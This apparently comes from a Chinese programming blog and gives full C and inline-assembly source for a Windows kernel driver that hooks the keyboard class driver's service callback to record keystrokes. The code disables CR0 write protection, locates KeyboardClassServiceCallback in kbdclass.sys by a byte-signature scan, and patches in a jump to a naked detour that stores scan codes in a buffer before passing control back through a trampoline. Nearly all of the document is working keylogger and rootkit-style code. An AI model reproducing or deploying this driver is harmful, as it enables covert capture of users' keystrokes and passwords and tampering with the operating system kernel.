vc++实现Inline hook KeyboardClassServiceCallback实现键盘记录

/*

 

*/

#ifndef _DBGHELP_H
#define _DBGHELP_H 1

#include <ntddk.h>

#define dprintf if (DBG) DbgPrint
#define nprintf DbgPrint

#define kmalloc(_s) ExAllocatePoolWithTag(NonPagedPool, _s, 'SYSQ')
//#define kfree(_p) ExFreePoolWithTag(_p, 'SYSQ')
#define kfree(_p) ExFreePool(_p)

#endif

#include <ntddk.h>
//#include <ntifs.h>
#include <windef.h>

#include "HookKey.h"
#include "struct.h"
#include <ntddkbd.h>
#define MAXBUF 0x15//存储键盘扫描码的缓冲区，其中第一字节为当前存储位置，
ULONG g_OldFunction;
ULONG g_uCr0;

BYTE g_HookCode[5] = { 0xe9, 0, 0, 0, 0 };
BYTE g_OrigCode[5] = { 0 }; // 原函数的前字节内容
BYTE jmp_orig_code[7] = { 0xEA, 0, 0, 0, 0, 0x08, 0x00 }; //因为是长转移，所以有个 0x08
PDEVICE_OBJECT pDevObj;
BOOL g_bHooked = FALSE;
int KeyCode=0;
PVOID hPageDataSection;
PVOID KeyBuf;
PDEVICE_OBJECT g_kbDeviceObject = NULL;
ULONG g_kbdclass_base ;
ULONG g_lpKbdServiceCallback ;
VOID  ReadKeyBuf();
VOID  ChangeFake_Function();
VOID
fake_OldFunction (
      PDEVICE_OBJECT  DeviceObject,
      PKEYBOARD_INPUT_DATA  InputDataStart,
      PKEYBOARD_INPUT_DATA  InputDataEnd,
      PULONG  InputDataConsumed
      );
#ifdef ALLOC_PRAGMA
#pragma alloc_text(NONPAGED, fake_OldFunction)
#endif

/*

  HookKey.H

  Author: <your name>
  Last Updated: 2006-02-12

  This framework is generated by EasySYS 0.3.0
  This template file is copying from QuickSYS 0.3.0 written by Chunhua Liu

*/

#ifndef _HOOKKEY_H
#define _HOOKKEY_H 1

//
// Define the various device type values.  Note that values used by Microsoft
// Corporation are in the range 0-0x7FFF(32767), and 0x8000(32768)-0xFFFF(65535)
// are reserved for use by customers.
//

#define FILE_DEVICE_HOOKKEY 0x8000

//
// Macro definition for defining IOCTL and FSCTL function control codes. Note
// that function codes 0-0x7FF(2047) are reserved for Microsoft Corporation,
// and 0x800(2048)-0xFFF(4095) are reserved for customers.
//

#define HOOKKEY_IOCTL_BASE 0x800

//
// The device driver IOCTLs
//

#define CTL_CODE_HOOKKEY(i) CTL_CODE(FILE_DEVICE_HOOKKEY, HOOKKEY_IOCTL_BASE+i, METHOD_BUFFERED, FILE_ANY_ACCESS)

#define IOCTL_HOOKKEY_HELLO CTL_CODE_HOOKKEY(0)
#define IOCTL_HOOKKEY_TEST CTL_CODE_HOOKKEY(1)

//
// Name that Win32 front end will use to open the HookKey device
//

#define HOOKKEY_WIN32_DEVICE_NAME_A "////.//HookKey"
#define HOOKKEY_WIN32_DEVICE_NAME_W L"////.//HookKey"
#define HOOKKEY_DEVICE_NAME_A   "//Device//HookKey"
#define HOOKKEY_DEVICE_NAME_W   L"//Device//HookKey"
#define HOOKKEY_DOS_DEVICE_NAME_A  "//DosDevices//HookKey"
#define HOOKKEY_DOS_DEVICE_NAME_W  L"//DosDevices//HookKey"

#ifdef _UNICODE
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_W
#define HOOKKEY_DEVICE_NAME  HOOKKEY_DEVICE_NAME_W
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_W
#else
#define HOOKKEY_WIN32_DEVICE_NAME HOOKKEY_WIN32_DEVICE_NAME_A
#define HOOKKEY_DEVICE_NAME  HOOKKEY_DEVICE_NAME_A
#define HOOKKEY_DOS_DEVICE_NAME HOOKKEY_DOS_DEVICE_NAME_A
#endif

#endif
   
VOID
Proxy_OldFunction (
PDEVICE_OBJECT  DeviceObject,
PKEYBOARD_INPUT_DATA  InputDataStart,
PKEYBOARD_INPUT_DATA  InputDataEnd,
PULONG  InputDataConsumed
    );
typedef VOID
(*My_KeyboardClassServiceCallback) (
         PDEVICE_OBJECT  DeviceObject,
         PKEYBOARD_INPUT_DATA  InputDataStart,
         PKEYBOARD_INPUT_DATA  InputDataEnd,
         PULONG  InputDataConsumed
         );
My_KeyboardClassServiceCallback orig_KeyboardClassServiceCallback = NULL;
void WPOFF()
{
  
    ULONG uAttr;
  
    _asm
    {
        push eax;
        mov eax, cr0;
        mov uAttr, eax;
        and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
        mov cr0, eax;
        pop eax;
        cli
    };
  
    g_uCr0 = uAttr; //保存原有的 CRO 屬性
  
}

VOID WPON()
{
  
    _asm
    {
        sti
        push eax;
        mov eax, g_uCr0; //恢復原有 CR0 屬性
        mov cr0, eax;
        pop eax;
    };
  
}

//
// 停止inline hook
//
VOID UnHookOldFunction ()
{
    KIRQL  oldIrql;

    WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
   
    RtlCopyMemory ( (BYTE*)g_OldFunction, g_OrigCode, 5 );

    KeLowerIrql(oldIrql);
    WPON();

    g_bHooked = FALSE;
}

//
// 开始inline hook --  OldFunction
//
VOID HookOldFunction ()
{
    KIRQL  oldIrql;

    if (g_OldFunction == 0) {
        DbgPrint("OldFunction == NULL/n");
        return;
    }

    //DbgPrint("开始inline hook --  OldFunction/n");
    DbgPrint( "OldFunction的地址t0x%08x/n", (ULONG)g_OldFunction );
    // 保存原函数的前字节内容
    RtlCopyMemory (g_OrigCode, (BYTE*)g_OldFunction, 5);//★
    *( (ULONG*)(g_HookCode + 1) ) = (ULONG)fake_OldFunction - (ULONG)g_OldFunction - 5;//★
   
   
    // 禁止系统写保护，提升IRQL到DPC
    WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
 
    RtlCopyMemory ( (BYTE*)g_OldFunction, g_HookCode, 5 );
    *( (ULONG*)(jmp_orig_code + 1) ) = (ULONG) ( (BYTE*)g_OldFunction + 5 );//★
   
    RtlCopyMemory ( (BYTE*)Proxy_OldFunction, g_OrigCode, 5);//修改Proxy_OldFunction函数头
    RtlCopyMemory ( (BYTE*)Proxy_OldFunction + 5, jmp_orig_code, 7);

    // 恢复写保护，降低IRQL
    KeLowerIrql(oldIrql);
    WPON();

    g_bHooked = TRUE;
   
   
}
VOID  ChangeFake_Function()
{
 KIRQL  oldIrql;
 int i;
 ULONG addr=(ULONG)fake_OldFunction;

 ULONG code_fill=0xAAAAAAAA;
 DbgPrint("fake_OldFunction:%x",addr);
 WPOFF();
    oldIrql = KeRaiseIrqlToDpcLevel();
    for (i=0;i<0x200;i++)
    {
  if (*((ULONG*)(addr+i))==code_fill)
  {
   DbgPrint("AAAAAAAA Finded:%x",KeyBuf);
   *((ULONG*)(addr+i))=(ULONG)KeyBuf;
  }
  
    }
 DbgPrint("AAAAAAAA:%x",*((ULONG*)(addr+i))  );
    KeLowerIrql(oldIrql);
    WPON();

}
VOID  ReadKeyBuf()
{
 BYTE Index=*(BYTE*)KeyBuf;
 BYTE i,j;
// BYTE _Buf[MAXBUF];
 
 for (i=0;i<MAXBUF;i++)
    {
  DbgPrint("Key Code:%x",*(BYTE*)((BYTE*)KeyBuf+i));
 }

}
//
// 跳转到我们的函数里面进行预处理
//

__declspec (naked)
VOID
fake_OldFunction (
PDEVICE_OBJECT  DeviceObject,
PKEYBOARD_INPUT_DATA  InputDataStart,
PKEYBOARD_INPUT_DATA  InputDataEnd,
PULONG  InputDataConsumed
    )
{
 
   
 __asm
    {
   push    eax
        push    ebx
        push    ecx
  push    esi
  xor     esi,esi
  mov     eax, [0xAAAAAAAA];
  mov     ebx, [esp+0x18]
   //movzx   ecx, word ptr [ebx-20]//+2
  mov     cl , byte ptr [ebx+2];//按键码
        mov     ch , byte ptr [eax];//得到当前位置->ch
        cmp     ch , MAXBUF
  jnz     NotLastPlace
  mov     ch,  0x0;

NotLastPlace:
  inc     ch
  movzx   si,ch
  mov     byte ptr [eax],    ch
        mov     byte ptr [eax+esi],cl
  
        pop esi
   pop ecx
   pop ebx
   pop eax
  jmp Proxy_OldFunction   ;//★在这一系列JMP中，没有一处使用CALL，简化了代码，增强了稳定性
    }
}

//
// 代理函数，负责跳转到原函数中继续执行
//
__declspec (naked)
VOID
Proxy_OldFunction (
    PDEVICE_OBJECT  DeviceObject,
    PKEYBOARD_INPUT_DATA  InputDataStart,
    PKEYBOARD_INPUT_DATA  InputDataEnd,
    PULONG  InputDataConsumed
    )
{
 
    __asm {  // 共字节
            _emit 0x90
            _emit 0x90
            _emit 0x90
            _emit 0x90
            _emit 0x90  // 前字节实现原函数的头字节功能
            _emit 0x90  // 这个填充jmp
            _emit 0x90
            _emit 0x90
            _emit 0x90
            _emit 0x90  // 这字节保存原函数+5处的地址
            _emit 0x90 
            _emit 0x90  // 因为是长转移,所以必须是0x0080
    }
}

 

//////////////////////////////////////////////////////////////////////////

PVOID
GetModlueBaseAdress(
     char* ModlueName,
     BOOL bKernelBase
     )
{
 ULONG size,index;
 PULONG buf;
 NTSTATUS status;
 PSYSTEM_MODULE_INFORMATION module;
 PVOID driverAddress=0;
 
 ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);
 if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size))){
  DbgPrint("failed alloc memory failed /n");
  return 0;
 }
 
 status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
 if(!NT_SUCCESS( status )) {
  DbgPrint("failed query/n");
  return 0;
 }
 
 module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);
 
 // 系统模块基址
 if ( TRUE == bKernelBase )
 {
  driverAddress = module[0].Base;
  DbgPrint("KernelBase:%x/n",driverAddress);
  goto _x_;
 }
 
 // 其他模块基址
 for (index = 0; index < *buf; index++) {
  if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, ModlueName) == 0)
  {
   driverAddress = module[index].Base;
   DbgPrint("Module found at:%x/n",driverAddress);
   goto _x_;
  }
 }
 
_x_:  
 ExFreePool(buf);
 return driverAddress;
}

ULONG GetFunctionAddr( IN PCWSTR FunctionName)
{
    UNICODE_STRING UniCodeFunctionName;
    RtlInitUnicodeString( &UniCodeFunctionName, FunctionName );
    return (ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );  

}

//根据特征值，搜索OldFunction
ULONG FindOldFunctionAddress()
{

 NTSTATUS status = STATUS_SUCCESS;
 UNICODE_STRING ustrLinkName;
 UNICODE_STRING ustrDevName;   
 PDEVICE_OBJECT pDevObj;
 ULONG i, curAddr;
 PUCHAR FileContent;
 DWORD dwRet,dwSize;
 PVOID pTmp;
    LARGE_INTEGER timeout;
 KEVENT Kevent;
 ULONG g_kbdclass_base ;
 ULONG g_lpKbdServiceCallback ;
 PDEVICE_OBJECT g_kbDeviceObject = NULL;
    KEYBOARD_INPUT_DATA kid;
 ULONG Addr_OldFunction = 0;
 ULONG code1_sp2=0x8b55ff8b, code2_sp2=0x8b5151ec, code3_sp2=0x65830845,code4_sp2=0x8b530008;
    //KbdInit();
 g_kbdclass_base = (ULONG)GetModlueBaseAdress( "kbdclass.sys",0 );
 DbgPrint("kbdclass.sys: 0x%08lx/n", (PVOID)g_kbdclass_base);
 
 if ( 0 == g_kbdclass_base ) {
  DbgPrint("ERROR: g_kbdclass_base == 0/n");
  return STATUS_SUCCESS;
 }
 
 curAddr = g_kbdclass_base;
 // DbgPrint("curAddr: 0x%08lx/n", curAddr);
 for (i=curAddr;i<=curAddr+0x2000;i++)
 {
  // DbgPrint("i: 0x%08lx/n", i);
  if (*((ULONG *)i)==code1_sp2) {
   if (*((ULONG *)(i+4))==code2_sp2) {
    if (*((ULONG *)(i+8))==code3_sp2) {
     if (*((ULONG *)(i+12))==code4_sp2) {
      g_lpKbdServiceCallback=i;
      break ;
     }
    }
   }
  }
 }
 
 Addr_OldFunction = (ULONG)g_lpKbdServiceCallback;
 DbgPrint("KeyboardClassServiceCallback: 0x%08lx/n", (PVOID)g_lpKbdServiceCallback);
 //DbgPrint("g_kbDeviceObject: 0x%08lx/n", (PVOID)g_kbDeviceObject);

 return Addr_OldFunction;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{

  UNICODE_STRING strLink;
  RtlInitUnicodeString(&strLink, L"//DosDevices//devHookKey");
 

  DbgPrint("My Driver Unloaded!");
  DbgPrint("MyKeyboardClassServiceCallback invoked: %x",KeyCode);

  ReadKeyBuf();
  ExFreePool(KeyBuf);
  IoDeleteSymbolicLink(&strLink);
  IoDeleteDevice(DriverObject->DeviceObject);

  UnHookOldFunction();
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
  NTSTATUS status = STATUS_SUCCESS;
  UNICODE_STRING ustrLinkName;
  UNICODE_STRING ustrDevName;   
  DWORD dwSize,dwRet;
  PVOID pTmp;
  KEYBOARD_INPUT_DATA kid;
  DbgPrint("My Driver Loaded!");
  theDriverObject->DriverUnload = OnUnload;
   
  RtlInitUnicodeString(&ustrDevName, L"//Device//devHookKey");
  status = IoCreateDevice(theDriverObject,
   0,
   &ustrDevName,
   FILE_DEVICE_UNKNOWN,
   0,
   FALSE,
   &pDevObj);
 
  if(!NT_SUCCESS(status)) {
   DbgPrint("IoCreateDevice = 0x%x/n", status);
   return status;
  }
 
  RtlInitUnicodeString(&ustrLinkName, L"//DosDevices//devHookKey");
  status = IoCreateSymbolicLink(&ustrLinkName, &ustrDevName); 
  if(!NT_SUCCESS(status)) {
   DbgPrint("IoCreateSymbolicLink = 0x%x/n", status);
   IoDeleteDevice(pDevObj); 
   return status;
 }

  KeyBuf=(PVOID)ExAllocatePool( NonPagedPool,MAXBUF+2);
  *((BYTE*)KeyBuf)=0x0;

  ChangeFake_Function();
  g_OldFunction = FindOldFunctionAddress();
  HookOldFunction();

  return STATUS_SUCCESS;
}

/***************************************************************************************
* AUTHOR : sudami [[email protected]]
* TIME   : 2008/08/13 [13:8:2008 - 13:07]
* MODULE : struct.h
*
* Command:
*   驱动的头文件
*  
*
* Description:
*   定义一些常量,避免重复劳动; 您可以在此添加需要的函数/结构体                    
*
***
* Copyright (c) 2008 - 2010 sudami.
* Freely distributable in source or binary for noncommercial purposes.
* TAKE IT EASY,JUST FOR FUN.
*
****************************************************************************************/
#pragma once

#include <ntddk.h>

typedef long LONG;
//typedef unsigned char  BOOL, *PBOOL;
typedef unsigned char  BYTE, *PBYTE;
typedef unsigned long  DWORD, *PDWORD;
typedef unsigned short WORD, *PWORD;

//typedef void  *HMODULE;
typedef long NTSTATUS, *PNTSTATUS;
typedef unsigned long DWORD;
typedef DWORD * PDWORD;
typedef unsigned long ULONG;
typedef unsigned long ULONG_PTR;
typedef ULONG *PULONG;
typedef unsigned short WORD;
typedef unsigned char BYTE;
typedef unsigned char UCHAR;
typedef unsigned short USHORT;
typedef void *PVOID;
typedef BYTE BOOLEAN;
#define SEC_IMAGE    0x01000000

 

//----------------------------------------------------

typedef enum _SYSTEM_INFORMATION_CLASS {
 SystemBasicInformation = 0,
 SystemCpuInformation = 1,
 SystemPerformanceInformation = 2,
 SystemTimeOfDayInformation = 3, /* was SystemTimeInformation */
 Unknown4,
 SystemProcessInformation = 5,
 Unknown6,
 Unknown7,
 SystemProcessorPerformanceInformation = 8,
 Unknown9,
 Unknown10,
 SystemModuleInformation = 11,
 Unknown12,
 Unknown13,
 Unknown14,
 Unknown15,
 SystemHandleInformation = 16,
 Unknown17,
 SystemPageFileInformation = 18,
 Unknown19,
 Unknown20,
 SystemCacheInformation = 21,
 Unknown22,
 SystemInterruptInformation = 23,
 SystemDpcBehaviourInformation = 24,
 SystemFullMemoryInformation = 25,
 SystemNotImplemented6 = 25,
 SystemLoadImage = 26,
 SystemUnloadImage = 27,
 SystemTimeAdjustmentInformation = 28,
 SystemTimeAdjustment = 28,
 SystemSummaryMemoryInformation = 29,
 SystemNotImplemented7 = 29,
 SystemNextEventIdInformation = 30,
 SystemNotImplemented8 = 30,
 SystemEventIdsInformation = 31,
 SystemCrashDumpInformation = 32,
 SystemExceptionInformation = 33,
 SystemCrashDumpStateInformation = 34,
 SystemKernelDebuggerInformation = 35,
 SystemContextSwitchInformation = 36,
 SystemRegistryQuotaInformation = 37,
 SystemCurrentTimeZoneInformation = 44,
 SystemTimeZoneInformation = 44,
 SystemLookasideInformation = 45,
 SystemSetTimeSlipEvent = 46,
 SystemCreateSession = 47,
 SystemDeleteSession = 48,
 SystemInvalidInfoClass4 = 49,
 SystemRangeStartInformation = 50,
 SystemVerifierInformation = 51,
 SystemAddVerifier = 52,
 SystemSessionProcessesInformation = 53,
 SystemInformationClassMax
} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
 ULONG    Reserved[2];
 PVOID    Base;
 ULONG    Size;
 ULONG    Flags;
 USHORT    Index;
 USHORT    Unknown;
 USHORT    LoadCount;
 USHORT    ModuleNameOffset;
 CHAR    ImageName[256];
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;

typedef struct {
 DWORD    dwNumberOfModules;
 SYSTEM_MODULE_INFORMATION    smi;
} MODULES, *PMODULES;

 

//  PEB
  
#pragma pack(4)
typedef struct _PEB_LDR_DATA
{
 ULONG Length;
 BOOLEAN Initialized;
 PVOID SsHandle;
 LIST_ENTRY InLoadOrderModuleList;
 LIST_ENTRY InMemoryOrderModuleList;
 LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
#pragma pack()

typedef struct _PEB_ORIG {
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE Reserved2[229];
    PVOID Reserved3[59];
    ULONG SessionId;
} PEB_ORIG, *PPEB_ORIG;

typedef void (*PPEBLOCKROUTINE)(PVOID PebLock);

struct _PEB_FREE_BLOCK {
 struct _PEB_FREE_BLOCK *Next;
 ULONG Size;
};
typedef struct _PEB_FREE_BLOCK PEB_FREE_BLOCK;
typedef struct _PEB_FREE_BLOCK *PPEB_FREE_BLOCK;

typedef struct _RTL_DRIVE_LETTER_CURDIR {
 USHORT Flags;
 USHORT Length;
 ULONG TimeStamp;
 UNICODE_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR;

typedef struct _RTL_USER_PROCESS_PARAMETERS {
 ULONG MaximumLength;
 ULONG Length;
 ULONG Flags;
 ULONG DebugFlags;
 PVOID ConsoleHandle;
 ULONG ConsoleFlags;
 HANDLE StdInputHandle;
 HANDLE StdOutputHandle;
 HANDLE StdErrorHandle;
 UNICODE_STRING CurrentDirectoryPath;
 HANDLE CurrentDirectoryHandle;
 UNICODE_STRING DllPath;
 UNICODE_STRING ImagePathName;
 UNICODE_STRING CommandLine;
 PVOID Environment;
 ULONG StartingPositionLeft;
 ULONG StartingPositionTop;
 ULONG Width;
 ULONG Height;
 ULONG CharWidth;
 ULONG CharHeight;
 ULONG ConsoleTextAttributes;
 ULONG WindowFlags;
 ULONG ShowWindowFlags;
 UNICODE_STRING WindowTitle;
 UNICODE_STRING DesktopName;
 UNICODE_STRING ShellInfo;
 UNICODE_STRING RuntimeData;
 RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20];
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

typedef struct _PEB {
 BOOLEAN InheritedAddressSpace;
 BOOLEAN ReadImageFileExecOptions;
 BOOLEAN BeingDebugged;
 BOOLEAN Spare;
 HANDLE Mutant;
 PVOID ImageBaseAddress;
 PPEB_LDR_DATA LoaderData;
 PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
 PVOID SubSystemData;
 PVOID ProcessHeap;
 PVOID FastPebLock;
 PPEBLOCKROUTINE FastPebLockRoutine;
 PPEBLOCKROUTINE FastPebUnlockRoutine;
 ULONG EnvironmentUpdateCount;
 PVOID *KernelCallbackTable;
 PVOID EventLogSection;
 PVOID EventLog;
 PPEB_FREE_BLOCK FreeList;
 ULONG TlsExpansionCounter;
 PVOID TlsBitmap;
 ULONG TlsBitmapBits[0x2];
 PVOID ReadOnlySharedMemoryBase;
 PVOID ReadOnlySharedMemoryHeap;
 PVOID *ReadOnlyStaticServerData;
 PVOID AnsiCodePageData;
 PVOID OemCodePageData;
 PVOID UnicodeCaseTableData;
 ULONG NumberOfProcessors;
 ULONG NtGlobalFlag;
 BYTE Spare2[0x4];
 LARGE_INTEGER CriticalSectionTimeout;
 ULONG HeapSegmentReserve;
 ULONG HeapSegmentCommit;
 ULONG HeapDeCommitTotalFreeThreshold;
 ULONG HeapDeCommitFreeBlockThreshold;
 ULONG NumberOfHeaps;
 ULONG MaximumNumberOfHeaps;
 PVOID **ProcessHeaps;
 PVOID GdiSharedHandleTable;
 PVOID ProcessStarterHelper;
 PVOID GdiDCAttributeList;
 PVOID LoaderLock;
 ULONG OSMajorVersion;
 ULONG OSMinorVersion;
 ULONG OSBuildNumber;
 ULONG OSPlatformId;
 ULONG ImageSubSystem;
 ULONG ImageSubSystemMajorVersion;
 ULONG ImageSubSystemMinorVersion;
 ULONG GdiHandleBuffer[0x22];
 ULONG PostProcessInitRoutine;
 ULONG TlsExpansionBitmap;
 BYTE TlsExpansionBitmapBits[0x80];
 ULONG SessionId;
} PEB, *PPEB;

typedef struct _SYSTEM_PROCESS_INFORMATION {
    ULONG NextEntryOffset;
    ULONG NumberOfThreads;
    LARGE_INTEGER SpareLi1;
    LARGE_INTEGER SpareLi2;
    LARGE_INTEGER SpareLi3;
    LARGE_INTEGER CreateTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER KernelTime;
    UNICODE_STRING ImageName;
    KPRIORITY BasePriority;
    HANDLE UniqueProcessId;
    HANDLE InheritedFromUniqueProcessId;
    ULONG HandleCount;
    ULONG SpareUl2;
    ULONG SpareUl3;
    ULONG PeakVirtualSize;
    ULONG VirtualSize;
    ULONG PageFaultCount;
    ULONG PeakWorkingSetSize;
    ULONG WorkingSetSize;
    ULONG QuotaPeakPagedPoolUsage;
    ULONG QuotaPagedPoolUsage;
    ULONG QuotaPeakNonPagedPoolUsage;
    ULONG QuotaNonPagedPoolUsage;
    ULONG PagefileUsage;
    ULONG PeakPagefileUsage;
    ULONG PrivatePageCount;
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

typedef struct _SYSTEM_THREAD_INFORMATION {
    LARGE_INTEGER KernelTime;
    LARGE_INTEGER UserTime;
    LARGE_INTEGER CreateTime;
    ULONG WaitTime;
    PVOID StartAddress;
    CLIENT_ID ClientId;
    KPRIORITY Priority;
    LONG BasePriority;
    ULONG ContextSwitches;
    ULONG ThreadState;
    ULONG WaitReason;
} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;

struct _SYSTEM_THREADS
{
 LARGE_INTEGER  KernelTime;
 LARGE_INTEGER  UserTime;
 LARGE_INTEGER  CreateTime;
 ULONG    WaitTime;
 PVOID    StartAddress;
 CLIENT_ID   ClientIs;
 KPRIORITY   Priority;
 KPRIORITY   BasePriority;
 ULONG    ContextSwitchCount;
 ULONG    ThreadState;
 KWAIT_REASON  WaitReason;
};

struct _SYSTEM_PROCESSES
{
 ULONG    NextEntryDelta;
 ULONG    ThreadCount;
 ULONG    Reserved[6];
 LARGE_INTEGER  CreateTime;
 LARGE_INTEGER  UserTime;
 LARGE_INTEGER  KernelTime;
 UNICODE_STRING  ProcessName;
 KPRIORITY   BasePriority;
 ULONG    ProcessId;
 ULONG    InheritedFromProcessId;
 ULONG    HandleCount;
 ULONG    Reserved2[2];
 VM_COUNTERS   VmCounters;
 IO_COUNTERS   IoCounters; //windows 2000 only
 struct _SYSTEM_THREADS Threads[1];
};

 

typedef struct _HANDLE_TABLE_ENTRY_INFO
{
    ULONG AuditMask;
} HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO;

typedef struct _HANDLE_TABLE_ENTRY
{
    union
    {
        PVOID Object;
        ULONG_PTR ObAttributes;
        PHANDLE_TABLE_ENTRY_INFO InfoTable;
        ULONG_PTR Value;
    };
    union
    {
        ULONG GrantedAccess;
        struct
        {
            USHORT GrantedAccessIndex;
            USHORT CreatorBackTraceIndex;
        };
        LONG NextFreeTableEntry;
    };
} HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY;

typedef struct _HANDLE_TABLE
{
    ULONG TableCode;
    PEPROCESS QuotaProcess;
    PVOID UniqueProcessId;
    ULONG HandleTableLock[4];
    LIST_ENTRY HandleTableList;
    ULONG HandleContentionEvent;
    PVOID DebugInfo;
    LONG ExtraInfoPages;
    ULONG FirstFree;
    ULONG LastFree;
    ULONG NextHandleNeedingPool;
    LONG HandleCount;
    union
    {
        ULONG Flags;
        UCHAR StrictFIFO:1;
    };
} HANDLE_TABLE, *PHANDLE_TABLE;

typedef struct _OBJECT_TYPE_INITIALIZER {
 USHORT Length;
 BOOLEAN UseDefaultObject;
 BOOLEAN CaseInsensitive;
 ULONG InvalidAttributes;
 GENERIC_MAPPING GenericMapping;
 ULONG ValidAccessMask;
 BOOLEAN SecurityRequired;
 BOOLEAN MaintainHandleCount;
 BOOLEAN MaintainTypeList;
 POOL_TYPE PoolType;
 ULONG DefaultPagedPoolCharge;
 ULONG DefaultNonPagedPoolCharge;
 PVOID DumpProcedure;
 PVOID OpenProcedure;
 PVOID CloseProcedure;
 PVOID DeleteProcedure;
 PVOID ParseProcedure;
 PVOID SecurityProcedure;
 PVOID QueryNameProcedure;
 PVOID OkayToCloseProcedure;
} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER;

typedef struct _OBJECT_TYPE {
 ERESOURCE Mutex;
 LIST_ENTRY TypeList;
 UNICODE_STRING Name;            // Copy from object header for convenience
 PVOID DefaultObject;
 ULONG Index;
 ULONG TotalNumberOfObjects;
 ULONG TotalNumberOfHandles;
 ULONG HighWaterNumberOfObjects;
 ULONG HighWaterNumberOfHandles;
 OBJECT_TYPE_INITIALIZER TypeInfo;
 ULONG Key;
 ERESOURCE ObjectLocks[4];
} OBJECT_TYPE, *POBJECT_TYPE;

typedef struct _OBJECT_DIRECTORY {
    struct _OBJECT_DIRECTORY_ENTRY *HashBuckets[ 37 ];
    ULONG Lock;
    PVOID DeviceMap;
    ULONG SessionId;
 USHORT Reserved;
 USHORT SymbolicLinkUsageCount;
} OBJECT_DIRECTORY, *POBJECT_DIRECTORY;

/*
typedef enum _KAPC_ENVIRONMENT {
  OriginalApcEnvironment,
  AttachedApcEnvironment,
  CurrentApcEnvironment,
  InsertApcEnvironment
} KAPC_ENVIRONMENT;
*/

typedef enum
{
    OriginalApcEnvironment,
 AttachedApcEnvironment,
 CurrentApcEnvironment
} KAPC_ENVIRONMENT;

//int swprintf( wchar_t *, const wchar_t *, ... );
int wsprintf( PWSTR buffer, PCWSTR spec, ... );

//----------------------------------------------------

 

 

NTSYSAPI
NTSTATUS
NTAPI ZwQuerySystemInformation(
          IN ULONG SystemInformationClass,
          IN PVOID SystemInformation,
          IN ULONG SystemInformationLength,
          OUT PULONG ReturnLength);

 

NTSTATUS
  NtOpenFile(
    OUT PHANDLE  FileHandle,
    IN ACCESS_MASK  DesiredAccess,
    IN POBJECT_ATTRIBUTES  ObjectAttributes,
    OUT PIO_STATUS_BLOCK  IoStatusBlock,
    IN ULONG  ShareAccess,
    IN ULONG  OpenOptions
    );

NTSTATUS
ZwOpenProcess(
   OUT PHANDLE ProcessHandle,
   IN ACCESS_MASK DesiredAccess,
   IN POBJECT_ATTRIBUTES ObjectAttributes,
   IN PCLIENT_ID ClientId
   );

NTSTATUS
PsLookupProcessByProcessId(
    IN HANDLE ProcessId,
    OUT PEPROCESS *Process
    );

HANDLE
  PsGetProcessId(
    IN PEPROCESS  Process
    );

NTSTATUS
RtlFormatCurrentUserKeyPath(
    OUT PUNICODE_STRING CurrentUserKeyPath
    );

VOID KeAttachProcess( PEPROCESS proc );
VOID KeDetachProcess();

NTSTATUS
ObReferenceObjectByName(
      IN PUNICODE_STRING ObjectName,
      IN ULONG Attributes,
      IN PACCESS_STATE PassedAccessState OPTIONAL,
      IN ACCESS_MASK DesiredAccess OPTIONAL,
      IN POBJECT_TYPE ObjectType,
      IN KPROCESSOR_MODE AccessMode,
      IN OUT PVOID ParseContext OPTIONAL,
      OUT PVOID *Object
      );

//////////////////////////////////////////////////////////////////////////

// 写保护的开&关
void WPOFF();
void WPON();